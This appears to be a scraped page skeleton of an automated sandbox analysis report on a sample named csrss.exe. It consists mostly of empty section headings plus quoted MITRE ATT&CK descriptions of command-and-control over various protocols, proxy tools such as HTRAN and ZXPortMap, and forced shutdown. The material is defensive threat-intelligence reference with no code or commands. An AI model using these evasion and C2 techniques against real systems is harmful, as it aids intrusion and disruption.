Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report csrss.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Persistence and Installation Behavior:

Jbx Signature Overview

AV Detection:

Compliance:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Description:	Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN , ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre